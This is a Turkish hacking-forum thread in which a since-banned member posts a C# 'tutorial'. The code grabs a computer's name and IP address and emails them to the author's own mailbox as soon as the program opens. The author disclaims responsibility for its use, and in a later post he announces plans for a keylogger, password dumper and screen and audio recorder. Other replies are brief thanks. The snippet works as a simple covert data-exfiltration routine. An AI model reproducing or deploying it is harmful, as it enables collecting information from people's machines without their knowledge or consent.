[TUTORIAL] C# PC IP Adresi Ve İsmi Bulma Ve Mail İle Gönderme

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Banlı Üye
Katılım
13 Eki 2020
Mesajlar
63
Tepki puanı
5
Yaş
31
5 HİZMET YILI
Öncelikle Merhaba Arkadaşlar Bugün Sizlere Güzel Bir Konu Paylaşacağım.
AMA BEN BURADA SADECE ÖĞRETİYORUM KULLANIMI DAHİLİNDE SORUMLUSU BEN DEĞİLİM !
Şimdi öncelikle projenin Using kısmına şunları ekliyoruz.
C#:
using System.Net;
using System.Net.Mail;

Şimdi ise void olarak SendMail adında bir Method oluşturuyoruz.
ve içine bunları ekliyoruz.
C#:
            var PcName = Dns.GetHostName();//PC Adını Alıyoruz
            MailMessage msg = new MailMessage();//Göndereceğimiz Mesaj İle İlgili
            SmtpClient client = new SmtpClient();//Mesajımızın ayarları ve Göndermek için lazım.
            client.EnableSsl = true; //Gönderilen Mesajın Şifrelenmesini Sağlıyor true Olmazsa Çalışmaz.
Devamıdan ise bunları:
C#:
            //Buraya birinci tırnak içine mail adresinizi ikinci parantez içine mail şifrenizi giriyorsunuz
            client.Credentials = new System.Net.NetworkCredential("[email protected]", "passwd123");
           
            //Burası önemli eğer eğer üstteki mail adresimiz outlook ise "smtp.live.com" yazıyoruz.
            //Eğer gmail ise "smtp.gmail.com" yazıyoruz.
            client.Host = "smtp.example.com";
           
            //Bu böle kalsın bu smtp haberleşme portu.
            client.Port = 587;
           
            //Burada PC nin IP adresini alıyoruz.
            var address = Dns.GetHostByName(PcName).AddressList[0].ToString();
           
            //Mailin başlığını ayarlıyoruz ben böyle yaptım ve başlığa PC isim yazdırdım.
            msg.Subject = "PC Name - " + PcName;

            //Mail'in ana mesaj bölümüne ise IP adresini yazdırdım.
            msg.Body = address;

            //Burada Mesajın kimden geldiğini belirtiyoruz.
            msg.From = new MailAddress("[email protected]");
           
            //Burası mesajın yollanacak olan mail
            msg.To.Add("[email protected]");
           
            //burada artık mesajı yolluyoruz
            client.Send(msg);
SendMail method unuda form1_load ta kullanırsanız uygulama açılır açılmaz mesaj gelecektir.

Tekrar söylüyorum sorumluluk bende değildir.
Türkiye'de biligi paylaşımı çoz az. Herkes parayı veren düdüğü çalar kafasında.
Emeğe saygı bi Beğeni alırım :D
 
omertrans505
Efsane Üye
Katılım
17 Ara 2016
Mesajlar
3,221
Çözümler
63
Tepki puanı
361
Ödüller
13
Sosyal
9 HİZMET YILI
Konunun güzel bir anlatımı olmuş. Yararlı için teşekkürler
 
  • Konuyu başlatan
  • Yasaklandı
  • #4
Banlı Üye
Katılım
13 Eki 2020
Mesajlar
63
Tepki puanı
5
Yaş
31
5 HİZMET YILI
Ben bu forum işini sevdim haaa ✓
 
TheJoker
Onaylı Üye
Katılım
18 Ocak 2019
Mesajlar
51
Tepki puanı
1
Ödüller
6
Yaş
23
7 HİZMET YILI
pek anlamıyorum aama faydalkı bilgiye benziyor teşekkürler
 
Seçkin Üye
Katılım
1 Nis 2018
Mesajlar
479
Tepki puanı
22
Ödüller
8
Yaş
21
8 HİZMET YILI
Pek anladığım bi konu değil ama yararlı bi şey saol
 
Onaylı Üye
Katılım
28 Eki 2020
Mesajlar
53
Tepki puanı
1
Ödüller
3
Yaş
26
5 HİZMET YILI
Bunu forumdaki bir arkadaşıma ileteceğim, çok güzel
 
  • Konuyu başlatan
  • Yasaklandı
  • #11
Banlı Üye
Katılım
13 Eki 2020
Mesajlar
63
Tepki puanı
5
Yaş
31
5 HİZMET YILI
yakında ss alan , keyloggerı olan , belki şifreleri dumplayan , belki sese kaydı alan bi program yazmak istiyorum ama onu paylaşırmıyım bilmiyorum.
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst